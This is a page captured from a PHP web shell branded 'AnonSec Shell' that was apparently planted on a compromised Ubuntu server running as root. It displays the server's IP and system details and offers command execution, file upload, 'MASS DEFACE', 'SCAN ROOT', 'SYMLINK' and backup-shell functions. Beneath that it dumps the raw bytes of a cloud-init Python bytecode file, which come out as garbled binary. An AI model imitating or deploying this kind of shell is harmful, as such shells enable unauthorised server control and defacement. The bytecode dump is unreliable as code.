AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core20/2599/lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/core20/2599/lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/logs.cpython-38.pyc
U

Ӈg{7�@s4dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m	Z	m
Z
ddlmZm
Z
mZmZmZmZmZddlmZddlmZddlmZmZddlmZdd	lmZmZmZeej e�!e"��Z#Gd
d�de�Z$e$dd
�e$dd�e$dd�gZ%e$dd�e$dd�e$dd�e$dd�e$dd�e$dd�e$dd�e$d d!�e$d"d#�e$d$d%�e$d&d%�e$d'd(�gZ&d^eej'ej'd)�d*d+�Z(ee)ej*e)ee)d,�d-d.�Z+ee)ej*e)dd,�d/d0�Z,ej*ej*e-dd1�d2d3�Z.ej*e-dd4�d5d6�Z/ej*dd7�d8d9�Z0ej*e-dd4�d:d;�Z1e
e)efeej*d<�d=d>�Z2e�*d?�fej*eej*d@�dAdB�Z3ej*eej*dC�dDdE�Z4ej*eej*dF�dGdH�Z5ej*e
e)efej*ej*e-ddI�dJdK�Z6e�*dL�e�*dM�dNfe)e
e)efej*ej*e-ddO�dPdQ�Z7e8ddR�dSdT�Z9d_e)e8e-e-ddV�dWdX�Z:e)ej;e8dY�dZd[�Z<e"d\k�r0e�=e<d]e(��>���dS)`zGDefine 'collect-logs' utility and handler to include in cloud-init cmd.�N)�datetime�timezone)�Any�Dict�Iterator�List�
NamedTuple�Optional�cast)�loggers)�Init)�ProcessExecutionError�subp)�tempdir)�copy�get_config_logfiles�
write_filec@seZdZUeed<eed<dS)�
ApportFile�pathZlabelN)�__name__�
__module__�__qualname__�str�__annotations__�rr�:/usr/lib/python3/dist-packages/cloudinit/cmd/devel/logs.pyrs
rz(/var/log/installer/autoinstall-user-dataZAutoInstallUserDataz/autoinstall.yamlZAutoInstallYAMLz'/etc/cloud/cloud.cfg.d/99-installer.cfgZInstallerCloudCfgz//var/log/installer/ubuntu_desktop_installer.logZUdiLogz-/var/log/installer/subiquity-server-debug.logZSubiquityServerDebugz-/var/log/installer/subiquity-client-debug.logZSubiquityClientDebugz%/var/log/installer/curtin-install.logZ	CurtinLogz0/var/log/installer/subiquity-curtin-install.confZCurtinInstallConfigz8/var/log/installer/curtin-install/subiquity-initial.confZCurtinConfigInitialz:/var/log/installer/curtin-install/subiquity-curthooks.confZCurtinConfigCurtHooksz8/var/log/installer/curtin-install/subiquity-extract.confZCurtinConfigExtractz=/var/log/installer/curtin-install/subiquity-partitioning.confZCurtinConfigPartitioningz(/var/log/installer/curtin-error-logs.tarZCurtinErrorz$/var/log/installer/curtin-errors.tarz(/var/log/installer/block/probe-data.jsonZ	ProbeData)�parser�returncCsh|stjddd�}|jdddddd	d
�|jddd
dd�|jddddddd�|jdddddd�|S)a2Build or extend and arg parser for collect-logs utility.

    @param parser: Optional existing ArgumentParser instance representing the
        collect-logs subcommand which will be extended to support the args of
        this utility.

    @returns: ArgumentParser with proper argument configuration.
    zcollect-logsz)Collect and tar all cloud-init debug info)�progZdescriptionz	--verbosez-v�countr�	verbosityzBe more verbose.)�action�default�dest�helpz	--tarfilez-tzcloud-init.tar.gzzOThe tarfile to create containing all collected logs. Default: cloud-init.tar.gz)r"r$z--include-userdataz-uF�
store_true�userdataz?DEPRECATED: This is default behavior and this flag does nothing)r"r!r#r$z--redact-sensitivez-rz�Redact potentially sensitive data from logs. Sensitive data may include passwords or keys in user data and root read-only files.)r"r!r$)�argparse�ArgumentParser�add_argument)rrrr�
get_parserOsF���	�
�r*)�cmd�	file_path�msgrc
Cs~|jjddd�zt|�j}Wn@tk
r^}z"t|t|��t�d|�d}W5d}~XYnXt||�t�d||j	�|S)zCHelper which runs a command and writes output or error to filename.T��parents�exist_ok�collecting %s failed.N�collected %s to file '%s')
�parent�mkdirr�stdoutr
rr�LOG�debug�stem)r+r,r-�output�errr�_write_command_output_to_file�s
r;c
Cs�|jjddd�z*|�d��}tj|||d�W5QRXWn<tk
rv}zt|t|��t�	d|�W5d}~XYnXt�	d||j
�dS)z�Helper which runs a command and writes output or error to filename.

    `subprocess.call` is invoked directly here to stream output to the file.
    Otherwise memory usage can be high for large outputs.
    Tr.�w)r5�stderrr1Nr2)r3r4�open�
subprocessZcall�OSErrorrrr6r7r8)r+r,r-�fr:rrr�_stream_command_output_to_file�srB)r�out_dir�include_sensitivercCs`|��rP|s|��jtj@rB|jddd�t||�t�d|�q\t�d|�nt�d|�dS)z-Collect a file into what will be the tarball.Tr.zcollected file: %sz#sensitive file %s was not collectedzfile %s did not existN)	�is_file�stat�st_mode�S_IROTHr4rr6r7Ztrace)rrCrDrrr�
_collect_file�s
rI)�log_dirrDrcCsxtD]2}t�||jdd��j}tt�|j�|dd�q|rttD]2}t�||jdd��j}tt�|j�|dd�q@dS)z'Obtain subiquity logs and config files.�NT)rD)�INSTALLER_APPORT_FILES�pathlib�Pathrr3rI� INSTALLER_APPORT_SENSITIVE_FILES)rJrDZsrc_fileZdestination_dirrrr�_collect_installer_logs�s
�
�rP)rJrcCs@tddg|ddd�}tddddg|d	d
d�}|s<|p:d}dS)
z8Include cloud-init version and dpkg version in the logs.z
cloud-initz	--version�versionzcloud-init --version�r+r,r-z
dpkg-queryz--showz-f=${Version}
zdpkg-versionzdpkg versionz
not-availableN)r;)rJrQZdpkg_verrrr�_collect_version_info�s�
�rScCsT|rtdg|ddd�tddddg|d	d
d�tddddgt�|d�d
d�dS)z0Include dmesg and journalctl output in the logs.Zdmesgz	dmesg.txtzdmesg outputrRZ
journalctlz--boot=0z-oz
short-precisezjournal.txtzsystemd journal of current bootz	--boot=-1zjournal-previous.txtz systemd journal of previous bootN)rBrMrN)rJrDrrr�_collect_system_logs�s �
�

�rT)�log_cfgrccst|�D]}t�|�VqdS)z7Get paths for cloud-init.log and cloud-init-output.log.N)rrMrN)rUrrrr�_get_cloudinit_logs�srVz
/etc/cloud)�
etc_cloud_dirrc#s4|d|ddg��fdd�|�d�D�EdHdS)z�Get paths for all files in /etc/cloud.

    Excludes:
      /etc/cloud/keys because it may contain non-useful sensitive data.
      /etc/cloud/templates because we already know its contents
    �keysZ	templatesz99-installer.cfgc3s&|]}|j�kr|j�kr|VqdS�N)�namer3)�.0r��ignorerr�	<genexpr>s

�z!_get_etc_cloud.<locals>.<genexpr>z**/*N��glob)rWrr\r�_get_etc_clouds
�
�ra)�	cloud_dirrc	Cs:t�|�d�|�d�|�d�dd�|�d�D�|�d��S)zkGet paths for files in /var/lib/cloud.

    Skip user-provided scripts, semaphores, and old instances.
    zdata/*z
handlers/*zseed/*css|]}|��r|VqdSrY)rE�r[�prrrr^sz%_get_var_lib_cloud.<locals>.<genexpr>z
instance/*zinstance/handlers)�	itertools�chainr`�rbrrr�_get_var_lib_clouds�rh)�run_dirrcCsdd�|�d�D�S)z�Get all paths under /run/cloud-init except for hook-hotplug-cmd.

    Note that this only globs the top-level directory as there are currently
    no relevant files within subdirectories.
    css|]}|jdkr|VqdS)zhook-hotplug-cmdN)rZrcrrrr^*s
z_get_run_dir.<locals>.<genexpr>�*r_�rirrr�_get_run_dir$srl)rJrUrirbrDrcCs�t|�t||�t||�t|�D]"}t||t�|�j�d�d�q$t	�
t�t|d�t
|d��D]"}t||t�|�j�d�|�qddS)z8Collect all cloud-init logs into the provided directory.�/TrgrkN)rSrTrPrVrIrMrNr3�relative_torerfrarhrl)rJrUrirbrDZlogfilerrr�_collect_logs_into_tmp_dir-s&

���roz/run/cloud-initz/var/lib/cloudT)�tarfilerUrirbrDrcCs�tj�|�}t�tj����d�}t	|d��J}t
�||�}t|||||d�t
dd|d|t|��|�d�d�g�W5QRXt�d	|�d
S)a�Collect all cloud-init logs and tar them up into the provided tarfile.

    :param tarfile: The path of the tar-gzipped file to create.
    :param log_cfg: The cloud-init base configuration containing logging cfg.
    :param run_dir: The path to the cloud-init run directory.
    :param cloud_dir: The path to the cloud-init cloud directory.
    :param include_sensitive: Boolean, true means include sensitive data.
    zcloud-init-logs-%Y-%m-%d)�dir)rJrUrirbrDZtarZczfz-Crm�zWrote %sN)�osr�abspathrZnowrZutc�date�strftimerrMrNrorr�replacer6�info)rprUrirbrDZdir_nameZtmp_dirrJrrr�collect_logsNs,����
ry)r rcCs^t��|dkrtj}n|dkr(tj}ntj}t�|�t��}|�	t�
d��t�|�dS)z�Set up the logger for CLI use.

    The verbosity controls which level gets printed to stderr. By default,
    DEBUG and TRACE are hidden.
    rrKz%(message)sN)rZ
reset_logging�logging�INFO�DEBUGZTRACEr6ZsetLevelZ
StreamHandlerZsetFormatterZ	FormatterZ
addHandler)r �levelZhandlerrrr�
_setup_loggerws
r~F)rpr �redact_sensitive�include_userdatarcCsxt|�t��dkrtd��|r*t�d�tgd�}|��t||j	t
�|jj
�t
�|jj�|d�|stt�d�dS)z:Handle calls to 'cloud-init collect-logs' as a subcommand.rz!This command must be run as root.z;The --include-userdata flag is deprecated and does nothing.)Zds_deps)rprUrirbrDz�WARNING:
Sensitive data may have been included in the collected logs.
Please review the contents of the tarball before sharing or
rerun with --redact-sensitive to redact sensitive data.N)r~rs�getuid�RuntimeErrorr6ZwarningrZread_cfgryZcfgrMrN�pathsrirb)rpr rr�Zinitrrr�collect_logs_cli�s(�
��r�)�_name�argsrc
Csdt���}zt|j|j|j|jd�WdStk
r^}zt|t	j
d�WY�dSd}~XYnXdS)z}Handle the CLI interface to the module.

    Parse CLI args, redirect all exceptions to stderr, and return an exit code.
    )r rprr�r)�filerKN)r*�
parse_argsr�r rprr&�	Exception�print�sysr=)r�r�r:rrr�handle_collect_logs_args�s
�r��__main__rr)N)rTF)?�__doc__r'rerzrsrMrFr?r�rr�typingrrrrrr	r
Z
cloudinit.logrZcloudinit.stagesrZcloudinit.subpr
rZcloudinit.temp_utilsrZcloudinit.utilrrrZCustomLoggerTypeZ	getLoggerrr6rrOrLr(r*rrNr;rB�boolrIrPrSrTrVrarhrlrory�intr~r�Z	Namespacer��exitr�rrrr�<module>s$��	��������&��:�����
�	��

�$�
�)��!


Anon7 - 2022
AnonSec Team